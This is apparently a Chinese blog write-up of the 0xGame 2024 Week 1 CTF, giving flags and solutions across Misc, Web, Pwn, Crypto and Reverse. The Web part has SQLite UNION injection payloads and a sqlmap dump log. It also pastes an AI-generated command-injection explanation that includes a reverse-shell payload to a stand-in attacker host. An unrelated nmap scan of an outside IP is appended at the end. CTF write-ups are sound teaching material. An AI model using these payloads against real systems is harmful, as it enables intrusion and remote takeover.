0xGame2024[Week1]

Contents

[Week 1]

Misc

[Week 1] 0xGame2048

题目: 通过一点也不可靠的途径, 我们提前截获了0xGame2048的题目, 据说这就是那时候的base编码(?

0xGame{W3lc0me_t0_0xG4me!!!}
是base2048加密, 使用对应的解密, base2048在线解密站点

[Week 1] 加密的压缩包?

压缩包看起来好像没加密啊,怎么会解压不了呢?怎么注释里还给了个密码?

0xGame{M@ybe_y0u_ar2_t4e_mAsTer_0f_Z1p}
给这个00改成09可以解压, 也可以看到解压密码, 解压后可以看到flag
在这里插入图片描述

[Week 1] 我的世界基岩版(?

题目 服务器:mc.st4rr.top:25526
版本:java 1.21 Fabric
题目很简单,只是为了开个服务器给大家玩玩 😃
如果服务器崩了或者有问题欢迎到群里拷打出题人 😦

0xGame{MC_SErver_4_CTFers}
直接使用java版mc版本1.21.1加入服务器 mc.st4rr.top:25526 进入游戏, 做矿车看地面能看到很长一串flag 但是还是进入地图之前, 装一个 xaeros 模组, 看的比较清晰点
在这里插入图片描述

Web

[Week 1] hello_web

0xGame{ee7f2040-1987-4e0a-872d-68589c4ab3d3}
打开源码查看

<html>
<head>
    <meta charset="UTF-8">
    <title>查看源代码</title>
    <script>
        document.addEventListener('contextmenu', function(e) {
            alert('居心叵测,不许查看源代码!');
            e.preventDefault();
        });
        document.addEventListener('keydown', function(e) {
            if (e.key === 'F12') {
                alert('你想干嘛?你不许F12!');
                e.preventDefault();
            }
        });
    </script>
</head>
<body>
    <h1>Welcome to 0xgame 2024</h1>
    <!-- 看看f14g.php -->
    <!-- 此乃flag的第一段:0xGame{ee7f2040-1987-4e0a -->
    <p>这是一个简洁的网页,web方向的题基本都会有这么一个网站</p>
    <p>零基础的同学不会的地方,可以尝试多搜索一下</p>
</body>
</html>

访问 url/f14g.php 会看到下面内容

你知道如何查看响应包吗?

查看响应包

Date: Mon, 07 Oct 2024 01:59:05 GMT
Server: Apache/2.4.51 (Debian)
X-Powered-By: PHP/7.4.27
flag: 此乃flag的第二段:-872d-68589c4ab3d3}
Content-Type: text/html; charset=UTF-8
Content-Length: 36

你知道如何查看响应包吗?
[Week 1] hello_http

0xgame{1cd6a904-725f-11ef-aafb-d4d8533ec05c}

进入题目叫使用 x1cBrowser 浏览器访问
在这里插入图片描述

修改ua头为 x1cBrowser, 需要POST方法传参
在这里插入图片描述

添加post请求, 参数 web=security 还需要添加cookie
在这里插入图片描述

添加完cookie, 还需要添加从何处访问
在这里插入图片描述

添加referer, 参数为 http://localhost:8080/ 还需要添加
在这里插入图片描述

添加完x-forwarded-for, 参数为 127.0.0.1 之后就可以得到flag了
在这里插入图片描述

[Week 1] ez_sql

题目 听说你用过sqlite?

0xGame{Do_not_Use_SqlMap!_Try_it_By_Your_Self}
它使用的是 sqlite 数据库, 语法和 mysql 不太一样
整形注入, order by看到有5个列显示列

查看版本
?id=1 union select 1,1,1,1,sqlite_version()

姓名:1

电子邮件:1

电话号码:1

地址:3.40.1

SQL语句:select * from users where id = 1 union select 1,1,1,1,sqlite_version()

错误信息:```

查看库
```?id=1 union select 1,1,1,1,group_concat(sql) from sqlite_master```
```用户信息
姓名:1

电子邮件:1

电话号码:1

地址:CREATE TABLE "flag" ( "flag" TEXT ),CREATE TABLE "users" ( "id" INTEGER, "username" TEXT, "email" TEXT, "phone" TEXT, "address" TEXT )

SQL语句:select * from users where id = 1 union select 1,1,1,1,group_Concat(sql) from sqlite_master

错误信息:

查看表 flag 中的字段 flag 就可以拿到flag
?id=1 union select 1,1,1,1, group_concat(flag) from flag

姓名:1

电子邮件:1

电话号码:1

地址:0xGame{Do_not_Use_SqlMap!_Try_it_By_Your_Self}

SQL语句:select * from users where id = 1 union select 1,1,1,1, group_concat(flag) from flag

错误信息:```
使用sqlmap
	```D:\security\sqlmap-1.8>python sqlmap.py -u http://47.76.152.109:60080/?id=1 --batch --tables -T flag --dump
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8#stable}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:45:35 /2024-10-08/

[20:45:36] [INFO] resuming back-end DBMS 'sqlite'
[20:45:36] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1863=1863
---
[20:45:37] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[20:45:37] [INFO] fetching tables for database: 'SQLite_masterdb'
[20:45:37] [INFO] fetching number of tables for database 'SQLite_masterdb'
[20:45:37] [INFO] resumed: 2
[20:45:37] [INFO] resumed: flag
[20:45:37] [INFO] resumed: users
<current>
[2 tables]
+-------+
| flag  |
| users |
+-------+

[20:45:37] [INFO] resumed: CREATE TABLE "flag" (\n  "flag" TEXT\n)
[20:45:37] [INFO] fetching entries for table 'flag'
[20:45:37] [INFO] fetching number of entries for table 'flag' in database 'SQLite_masterdb'
[20:45:37] [INFO] resumed: 1
[20:45:37] [INFO] resumed: 0xGame{Do_not_Use_SqlMap!_Try_it_By_Your_Self}
Database: <current>
Table: flag
[1 entry]
+------------------------------------------------+
| flag                                           |
+------------------------------------------------+
| 0xGame{Do_not_Use_SqlMap!_Try_it_By_Your_Self} |
+------------------------------------------------+

[20:45:37] [INFO] table 'SQLite_masterdb.flag' dumped to CSV file 'C:\Users\21624\AppData\Local\sqlmap\output\47.76.152.109\dump\SQLite_masterdb\flag.csv'
[20:45:37] [INFO] fetched data logged to text files under 'C:\Users\21624\AppData\Local\sqlmap\output\47.76.152.109'
[20:45:37] [WARNING] your sqlmap version is outdated

[*] ending @ 20:45:37 /2024-10-08/
[Week 1] ez_rce

题目: 容器每15分钟自动重启,ez_xxx题目flag无特殊情况均在root用户的环境变量中

0xGame{Do_You_Know_gtfobins?Try_To_Use_It!}
题目的代码

import subprocess

app = Flask(__name__)


@app.route("/")
def index():
    return open(__file__).read()


@app.route("/calc", methods=['POST'])
def calculator():
    expression = request.form.get('expression') or "114 1000 * 514 + p"
    result = subprocess.run(["dc", "-e", expression], capture_output=True, text=True)
    return result.stdout


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

甩给chatgpt


由于 subprocess.run() 会将用户提供的 expression 直接传递给 dc 命令,而 dc 本身支持执行各种指令,所以你可以通过巧妙构造的输入来注入恶意命令。

漏洞分析
核心问题在于 expression 参数未经过任何校验或过滤就传递给了系统命令。dc 支持反向波兰表达式计算,并允许输入通过 ; 来执行其他命令。假如用户输入了 5 +;!sh,那么 dc 会计算 5 +,然后通过 ;!sh 来执行 /bin/sh,从而启动一个 Shell。

构造攻击 Payload
假设目标服务器运行 Linux,攻击者可以构造这样的恶意 Payload 来执行系统命令。

示例 1: 执行系统命令
Payload:

plaintext
复制代码
5 +;!ls
解释:

5 + 是一个合法的 dc 表达式,计算出结果 5。
;!ls 是一个恶意注入的命令,!ls 将运行 ls 命令,列出当前目录的文件。
对应 HTTP 请求:

bash
复制代码
curl -X POST http://target-server/calc -d "expression=5 +;!ls"
预期结果:

服务器会执行 dc 计算 5 +,然后执行 ls 命令,返回当前目录下的文件列表。
示例 2: 执行反向 Shell
攻击者可以通过发送一个恶意 Payload 来执行反向 Shell,以获取服务器的 Shell 访问权限。

Payload:

plaintext
复制代码
5 +;!bash -i >& /dev/tcp/attacker-ip/4444 0>&1
解释:

5 + 是合法的 dc 表达式。
;!bash -i >& /dev/tcp/attacker-ip/4444 0>&1 是一个反向 Shell 命令,它会让目标服务器连接到攻击者的主机 attacker-ip,并在端口 4444 上发送交互式 Shell。
对应 HTTP 请求:

bash
复制代码
curl -X POST http://target-server/calc -d "expression=5 +;!bash -i >& /dev/tcp/attacker-ip/4444 0>&1"
预期结果:

如果攻击者在自己的机器上监听端口 4444 (nc -lvp 4444),一旦服务器执行了这个 Payload,攻击者将获得目标机器的 Shell 权限。
示例 3: 获取系统信息
Payload:

plaintext
复制代码
5 +;!uname -a
解释:

uname -a 命令可以返回目标服务器的操作系统和内核信息。
对应 HTTP 请求:

bash
复制代码
curl -X POST http://target-server/calc -d "expression=5 +;!uname -a"
预期结果:

服务器会返回操作系统的信息,包括系统名称、内核版本等。
防御建议
为了防止命令注入攻击,需要对用户输入进行严格的验证和过滤。以下是一些常见的防御措施:

输入校验和过滤

限制用户输入的字符范围,只允许合法的数字和运算符,例如 0123456789+-*/() 等。
可以使用正则表达式来验证输入,确保不包含任何非法字符。
使用安全库

避免直接使用 subprocess.run() 执行用户输入的命令。可以使用更安全的计算方式,或者利用已经存在的数学库进行运算。
最小权限原则

运行 Flask 应用的用户应具有最低权限,避免使用高权限用户运行应用,以减少潜在的危害。
结论
通过未过滤的 expression 参数,可以轻易构造 Payload 来进行 命令注入攻击,从而执行任意系统命令。这个漏洞非常严重,应立即修复。

如果你想要构建其他攻击 Payload 或深入探讨如何保护 Flask 应用,可以进一步讨论具体场景和攻击方式。

env命令查看环境变量, export set 命令也可以查看环境变量
curl -X POST http://47.76.152.109:60081/calc -d "expression= 5 +; !env"
里面有flag

HOSTNAME=f152c14cd831
HOME=/root
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
WERKZEUG_SERVER_FD=3
flag=0xGame{Do_You_Know_gtfobins?Try_To_Use_It!}
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.9.20
PWD=/app
[Week 1] ez_login

0xGame{It_Is_Easy_Right?}
登陆框, 账号: admin 密码: admin123

Pwn

[Week 1] 0. test your nc

题目:
Prepare your netcat.
Connect to server then you will get your first flag.
nc 47.97.58.52 40000

0xGame{928bb261-0a63-4389-b629-4d1f2f449848}
直接 nc 连接下 47.97.58.52 40000 就可以拿到flag

[Week 1] 2. stack overflow

0xGame{786a5d24-51c1-4a6f-a177-0c87f4407767}


io = remote('47.97.58.52',40010)


for i in range(100):
    io.recvuntil(b'===\n')
    question = io.recvuntil(b"=", drop = True)
    #print(question)
    res = str(eval(question)).encode()
    #res_bytes = struct.pack('<I', res)
    #print(res)
    #print(res_bytes)
    io.sendline(res)
io.interactive()
~
[Week 1] 1. test your pwntools

题目
[System] You are a calculator, and you need to calculate the result of the provided expression then send it back to the server.
After 100 rounds, you will get a linux shell, then get your flag on your own.
Note: Your overall task time is limited to 10 sec, including input your command to see flag content.
nc 47.97.58.52 40010

0xGame{97cb7b84-3886-42fa-a234-1e6228ad0c9a}
编写脚本


io = remote('47.97.58.52',40010)


for i in range(100):
    io.recvuntil(b'===\n')
    question = io.recvuntil(b"=", drop = True)
    #print(question)
    res = str(eval(question)).encode()
    #res_bytes = struct.pack('<I', res)
    #print(res)
    #print(res_bytes)
    io.sendline(res)
io.interactive()```
执行结果
```PS D:\CTFDemo\python> py .\test.py
[x] Opening connection to 47.97.58.52 on port 40010
[x] Opening connection to 47.97.58.52 on port 40010: Trying 47.97.58.52
[+] Opening connection to 47.97.58.52 on port 40010: Done
[*] Switching to interactive mode
 Correct!
Congratulations! Here's your shell!
ls
bin
dev
flag
lib
lib32
lib64
libx32
pwn
cat flag
0xGame{97cb7b84-3886-42fa-a234-1e6228ad0c9a}
[Week 1] Xor-Beginning

题目 就从xor开始吧

0xGame{X0r_1s_v3ry_Imp0rt4n7!}
脚本

      30, 54, 12, 76, 68, 99, 114, 87, 73, 8, 69, 66, 1, 90, 4, 19, 76]
v4 = [0]* len(v5)
flag = ''

for i in range(len(v5)):
    v4[i] = v5[i] ^ (78 - i)
    flag += chr(v4[i])
print(flag)

Crypto

[Week 1] Caesar Cipher

题目: 密文:0yHbnf{Uif_Cfhjoojoh_Pg_Dszqup} 提示:凯撒加密。
0xGame{The_Beginning_Of_Crypto}
使用的凯撒加密, 随波逐流或在线解码都可以, 在线解码选择偏移量为 1

[Week 1] Code-Vigenere

题目源码

from os import urandom
from base64 import b64encode

def Encrypt(msg, key):
    Lenth = len(key)
    result = ''

    upper_base = ord('A')
    lower_base = ord('a')
    KEY = [ord(key.upper()[_]) - upper_base for _ in range(Lenth)]

    index = 0
    for m in msg:
        tmp_key = KEY[index%Lenth] 
        if not m.isalpha():
            result += m
            continue

        if m.isupper(): 
            result += chr(upper_base + (ord(m) - upper_base + tmp_key) % 26)
        else: 
            result += chr(lower_base + (ord(m) - lower_base + tmp_key) % 26)
        index += 1
    return result

key = b64encode(urandom(6))[:5].decode()
print(Encrypt(flag,key))

#0lCcop{oyd94092-g8mq-4963-88b6-4helrxdhm6q7}

0xGame{acb94092-e8bc-4963-88f6-4fcadbbfb6c7}
猜测注释的代码开头那六个字符是明文中的 0xGame , 所以通过明文和密文对照维吉尼亚加密表进行猜测 key 就是这6个字符, 对照后, key 为 owccl 通过这个网站解开后就是flag了

[Week 1] Code

0xGame{73d72f64-7656-11ef-9393-047f0e7c4de1}

[Week 1] RSA-Baby

0xGame{6e5719c54cdde25ce7124e280803f938}

[Week 1] RSA-Easy

0xGame{5aa4603855d01ffdc5dcf92e0e604f31}

Reverse

[Week 1] BabyBase

0xGame{N0w_y0u_kn0w_B4se64_Enc0d1ng_w3ll!}
按shift+f12打开字符串
点击 MHhHYW1le04wd195MHVfa24wd19CNHNlNjRfRW5jMGQxbmdfdzNsbCF9 可以看到这个
base64解码后就是flag 0xGame{N0w_y0u_kn0w_B4se64_Enc0d1ng_w3ll!}

[Week 1] BinaryMaster

题目 你做好准备成为二进制的大师了吗?

0xGame{114514cc-a3a7-4e36-8db1-5f224b776271}
进入ida直接table键就可以看到flag

[Week 1] SignSign

题目 逆向签到题

0xGame{S1gn1n_h3r3_4nd_b3g1n_Reversing_n0w}

[Week 1] Xor-Endian

题目
刚开始就end了吗?
不对!这明明是endian

0xGame{b38ad4c8-733d-4f8f-93d4-17f1e79a8d68}
py脚本

      1985283101, 1465125718, 1934953223, 84430593]

key = "Key0xGame2024"
key_bytes = [ord(c) for c in key]


v7_bytes = []

for i in range(len(v6) * 4): 
    byte = (v6[i // 4] >> (8 * (i % 4))) & 0xFF
  
    v7_bytes.append(byte ^ key_bytes[i % 13])


flag = ''.join(chr(b) for b in v7_bytes if b != 0) 
print(flag)```

```C:\Users\21624>nmap -O 101.231.216.206
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-05 18:46 中国标准时间
Nmap scan report for 101.231.216.206
Host is up (0.027s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 3.X|4.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
Aggressive OS guesses: Linux 3.10 - 3.16 (87%), Linux 3.10 - 4.11 (85%), Linux 3.11 - 4.9 (85%), Linux 3.2 - 4.14 (85%), Linux 4.15 (85%), Linux 4.19 - 5.15 (85%), Linux 3.10 (85%)
No exact OS matches for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.58 seconds
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值